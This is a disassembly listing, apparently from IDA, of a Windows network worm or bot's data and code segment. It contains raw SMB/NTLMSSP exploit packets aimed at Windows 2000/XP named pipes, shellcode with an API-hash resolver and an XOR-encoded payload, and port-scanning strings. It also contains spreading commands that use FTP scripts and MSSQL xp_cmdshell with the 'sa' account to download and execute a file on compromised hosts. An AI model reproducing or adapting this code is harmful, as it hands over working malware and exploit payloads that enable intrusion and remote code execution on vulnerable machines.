		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40C9E6+B2o
		align 10h
dword_4389C0	dd 10FF8h, 0	dword_4389C8	dd 10FF8h	dword_4389CC	dd 7FFDF020h, 0	dword_4389D4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_438A5C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_438A8C	dd 0				dd 800000D4h, 0
unk_438A98	db  81h	; 		; DATA XREF: sub_40CEEA+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_438AE4	db 41h			; DATA XREF: sub_40CF88+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_438B28	proc near		; DATA XREF: seg000:0040D267o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_438C24
		push	dword ptr [esi]
		push	63D61209h
		call	sub_438C3A
		mov	[esi+8], eax
		call	sub_438BED
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_438C3A
		mov	[esi+0Ch], eax
		call	sub_438B9F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_438C3A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_438B28	endp


; =============== S U B	R O U T	I N E =======================================



sub_438B9F	proc near		; CODE XREF: sub_438B28+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_438BC8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_438B9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438BC8	proc near		; CODE XREF: sub_438B9F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_438BD7:				; CODE XREF: sub_438BC8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_438BE4
		inc	ebx
		jmp	short loc_438BD7
; ---------------------------------------------------------------------------


loc_438BE4:				; CODE XREF: sub_438BC8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_438BC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438BED	proc near		; CODE XREF: sub_438B28+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_438C05:				; CODE XREF: sub_438BED+1Ej
		cmp	[ecx], ebx
		jz	short loc_438C0D
		mov	ecx, [ecx]
		jmp	short loc_438C05
; ---------------------------------------------------------------------------


loc_438C0D:				; CODE XREF: sub_438BED+1Aj
		mov	edx, edi


loc_438C0F:				; CODE XREF: sub_438BED+2Aj
		cmp	[edx+4], ebx
		jz	short loc_438C19
		mov	edx, [edx+4]
		jmp	short loc_438C0F
; ---------------------------------------------------------------------------


loc_438C19:				; CODE XREF: sub_438BED+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_438BED	endp


; =============== S U B	R O U T	I N E =======================================



sub_438C24	proc near		; CODE XREF: sub_438B28+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_438C24	endp


; =============== S U B	R O U T	I N E =======================================



sub_438C3A	proc near		; CODE XREF: sub_438B28+16p
					; sub_438B28+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_438C50:				; CODE XREF: sub_438C3A+33j
		jecxz	short loc_438C8A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_438C5D:				; CODE XREF: sub_438C3A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_438C69
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_438C5D
; ---------------------------------------------------------------------------


loc_438C69:				; CODE XREF: sub_438C3A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_438C50
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_438C8A:				; CODE XREF: sub_438C3A:loc_438C50j
					; sub_438C3A:loc_438C8Aj
		jmp	short loc_438C8A
sub_438C3A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_438C90	proc near		; DATA XREF: seg000:0040D215o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_438CE2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_438CAD:				; CODE XREF: sub_438C90+38j
		jecxz	short loc_438CDD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_438CB8:				; CODE XREF: sub_438C90+32j
		lodsb
		test	al, al
		jz	short loc_438CC4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_438CB8
; ---------------------------------------------------------------------------


loc_438CC4:				; CODE XREF: sub_438C90+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_438CAD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_438CDD:				; CODE XREF: sub_438C90:loc_438CADj
		mov	[esp+arg_0], ebx
		retn
sub_438C90	endp


; =============== S U B	R O U T	I N E =======================================



sub_438CE2	proc near		; CODE XREF: sub_438C90+7p

; FUNCTION CHUNK AT 00438D1A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_438CFB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_438D06
; ---------------------------------------------------------------------------


loc_438CFB:				; CODE XREF: sub_438CE2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_438D06:				; CODE XREF: sub_438CE2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_438D1A
sub_438CE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438D0D	proc near		; CODE XREF: sub_438CE2:loc_438D1Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_438D0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438CE2


loc_438D1A:				; CODE XREF: sub_438CE2+29j
		call	sub_438D0D


loc_438D1F:				; DATA XREF: sub_40C9E6+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_438CE2
; ---------------------------------------------------------------------------
		dw 0
dword_438D24	dd 62B0606h, 2050501h, 0A0hdword_438D30	dd 0A1h		dword_438D34	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_40C9E6+153o
		align 10h


loc_438D40:				; DATA XREF: sub_40C9E6+E8o
		jmp	short near ptr dword_438D48
; ---------------------------------------------------------------------------
		align 8
dword_438D48	dd 0		aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040D23Co
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
unk_438DB0	db    2			; DATA XREF: seg000:0040DA4Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	73h, 71h
		db  6Ch	; l
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAttemptingToRo	db ' attempting to root (%s:%d) user: (%s/%s).',0
unk_438DF4	db    2			; DATA XREF: seg000:0040D9D0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileTransferCo	db '  File transfer complete to IP: %s',0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: seg000:0040D9BBo
		align 10h
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: seg000:0040D987o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 10h
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: seg000:0040D8EBo
		align 4
aSa		db 'sa',0               ; DATA XREF: seg000:0040D83Eo
		align 4
dword_438F18	dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------


loc_438F24:				; CODE XREF: seg002:00438F2Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_438F24
		inc	edi
		jz	short loc_438F6B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_438F93
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_438F6B:				; CODE XREF: seg002:00438F31j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_438FCA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_438F90:				; CODE XREF: seg002:00438FBDj
		xor	[esi-25h], bl


loc_438F93:				; CODE XREF: seg002:00438F39j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_438FAC:				; CODE XREF: seg002:00438FDFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_438F90
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_438FCA:				; CODE XREF: seg002:00438F71j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_439056
		jo	short loc_438FAC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_438FED+1
		add	bl, [edi]


loc_438FED:				; CODE XREF: seg002:00438FE9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_439002+2
		cmp	ch, bh
		dec	edx


loc_439002:				; CODE XREF: seg002:00438FFDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_439056:				; CODE XREF: seg002:00438FDDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4390DC
		sub	al, 0BCh
		jmp	near ptr 5445944Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_439078	dd 0EFFFC481h, 44FFFFh,	4390C4hdword_439084	dd 42Ah		dword_439088	dd 3E8h		dword_43908C	dd 258h		byte_439090	db 0			; DATA XREF: seg000:0040DDCFr
					; seg000:0040DEA6r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4390A8	dd 20804h						; seg000:0040DEC4o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: seg002:00439094o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4390DC:				; CODE XREF: seg002:00439060j
		push	eax
		xor	al, 29h


loc_4390DF:				; DATA XREF: seg000:0040DDF7o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_4390E8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4390FC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0
					; DATA XREF: seg000:0040DCC8o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: seg000:0040DC51o
					; sub_40E7D2+1A4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: seg000:0040DC01o
					; sub_40E7D2+150o
		align 10h
aB		db '',0                ; DATA XREF: sub_40E18F+ADo
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_43917C	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_4391D8	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		dd 0
dword_43928C	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
		db  71h	; q
		db 58h,	0B9h, 2Fh
		db  96h	; –
		db 84h,	4, 0CAh
		db  65h	; e
		db 0EEh, 0FBh, 0DAh
		db 0CEh	; Î
		db 9Eh,	0AFh, 28h
		db  8Eh	; Ž
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 53h
		db    0
		dd offset loc_410053+1
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 4
dword_439384	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+119o
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_4393C4	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	0
dword_439428	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_4394C0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+164o
					; sub_40E18F+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h
dword_43961C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+17Eo
					; sub_40E18F+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
dword_439778	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+198o
					; sub_40E18F+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 0
dword_4398D4	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+1AFo
					; sub_40E18F+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
unk_439940	db  81h	; 		; DATA XREF: sub_40E18F+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_43998C	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_4399E8	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		dd 0
dword_439A9C	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; ž
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; é
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
aO_0		db 'O',0
		dd offset word_4B0052
		db 53h
		db    0
		dd offset loc_410053+1
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 4
dword_439B94	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 4
dword_439BFC	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_439C3C	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	0
dword_439CA0	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_439D38	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40E18F+351o
					; sub_40E18F+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
